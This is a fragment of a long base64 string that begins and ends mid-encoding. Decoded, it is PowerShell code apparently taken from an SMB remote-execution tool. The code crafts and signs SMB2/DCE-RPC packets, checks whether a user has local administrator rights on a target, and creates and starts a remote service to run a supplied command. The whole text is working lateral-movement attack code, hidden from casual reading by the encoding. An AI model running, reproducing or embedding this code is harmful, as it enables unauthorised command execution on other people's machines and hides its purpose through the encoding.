Jfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YVsiU01CMldyaXRlUmVxdWVzdF9MZW5ndGgiXSA9IDB4NDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDQmluZCAxIDB4YjgsMHgxMCAweDAxIDB4MDAsMHgwMCAkU01CX25hbWVkX3BpcGVfVVVJRCAweDAyLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQjJfZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA4LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIl0gPSAweDEwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyUmVhZFJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdTdGF0dXNQZW5kaW5nJw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhdHVzUGVuZGluZycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCA9IDMwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01PcGVuU0NNYW5hZ2VyVyAkU01CX3NlcnZpY2VfYnl0ZXMgJFNNQl9zZXJ2aWNlX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEwOC4uMTI3XSkgLW5lICcwMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9leGVjdXRlIC1lcSAkdHJ1ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDIwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdTdGFydFNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhcnRTZXJ2aWNlVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjEzNV0pIC1lcSAnMDAtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNlcnZpY2UgJFNNQl9zZXJ2aWNlIGNyZWF0ZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfY29udGV4dF9oYW5kbGUgPSAkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTMxXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGV